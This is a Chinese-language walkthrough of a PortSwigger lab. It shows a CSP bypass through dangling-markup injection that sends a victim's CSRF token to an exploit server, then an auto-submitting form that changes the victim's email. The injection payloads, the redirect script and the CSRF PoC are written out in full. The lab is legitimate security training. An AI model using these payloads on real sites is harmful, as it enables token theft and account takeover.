> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# 受非常严格 CSP 保护的反射型 XSS：通过悬挂标记进行攻击

受非常严格 CSP 保护的反射型 XSS：通过悬挂标记进行攻击笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和 rem

### 带有悬空标记攻击的、受非常严格 CSP 保护的反射型 XSS

#### 实验目标

* 进行一次可绕过 CSP 并通过 Burp Collaborator 外带模拟用户 CSRF 令牌的 XSS 攻击。
* 然后使用此令牌将受害者的电子邮件地址更改为 `hacker@evil-user.net`.
* 可见给受害者的向量必须包含单词 **点击** （例如 `点我`）以促使其点击。
* 测试账户： `wiener:peter`.

#### 初步观察

* 在电子邮件更新表单中，添加 `?email=` 到 URL 可控制`值`的值（ `email` ）输入框。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1b305a4d31f9a5a2513a0c1c9b8950dc5b0593d%2Fimage%20(389).png?alt=media" alt=""><figcaption></figcaption></figure>

该字段易受 HTML 标签注入（测试示例）：

* `test"><h1>test</h1>` → `<h1>` 被注入并返回。

```html
test"><h1>test</h1>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a96fc923ac41ae5f501b5254f868a67b4c14f97%2Fimage%20(390).png?alt=media" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` 出现在表单中，但\*\*不会执行\*\*。

```javascript
test"><script>alert(0)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e500655f8575e74a78d0e12157df56377b3f5d2c%2Fimage%20(391).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

浏览器控制台显示安全策略阻止：

{% hint style="danger" %}
内容安全策略：由于违反以下指令“script-src 'self'”，页面设置阻止了内联脚本（script-src-elem）执行
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04185e29656392260ecfa8b5564cec00cd92f89d%2Fimage%20(392).png?alt=media" alt=""><figcaption></figcaption></figure>

观察到的 CSP 标头：

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d51015666f306b3da306e7e8a80b74f997c0ea%2Fimage%20(393).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 攻击策略（悬空标记）

* 不要注入一个 `<script>` （受 CSP 锁定），当前表单被关闭，并创建了一个新的表单\*\*，其 `action` 属性指向我们的利用服务器（exploit server）。该表单包含一个名为“Click Me”的按钮，以诱导用户点击。

闭合表单并创建新表单的注入示例（在重定向中进行 URL 编码的格式）：

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e19094b6836049d5677a152aecc5964da962031%2Fimage%20(394).png?alt=media" alt=""><figcaption></figcaption></figure>

* 当从受害者的机器上打开此链接（例如通过重定向）时，如果受害者点击按钮，CSRF 令牌会随 URL 发送到利用服务器，并出现在对方服务器的日志中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039559d9359713de324b38ea2f9419339aa8fa64%2Fimage%20(395).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 注入式重定向示例（强制用户访问带有有效载荷的易受攻击页面）

* 攻击端注入的脚本，用于将受害者重定向到有效载荷页面（编码后的 URL）：

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* 一旦受害者被重定向并点击按钮，CSRF 令牌就会出现在利用服务器的日志中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c88c5b67e1aef9df77121d50e1e2defd7b0146f%2Fimage%20(396).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 外带后操作：使用 CSRF 令牌更改电子邮件

* 在获取 CSRF 令牌后（来自利用服务器的日志），构建一个 HTML 页面向 `/my-account/change-email` 发送另一个请求，带有：
* `电子邮件 = hacker@evil-user.net`
* `CSRF = <token_obtenu>`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58228386491d7041884f210a878bde8c55707ae1%2Fimage%20(397).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

生成的 HTML PoC 示例（由 Burp 或手动生成）用于执行自动化 POST 请求

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d61b2344435f2843cf0a6f2c2e8a3ed85d6eeda%2Fimage%20(398).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

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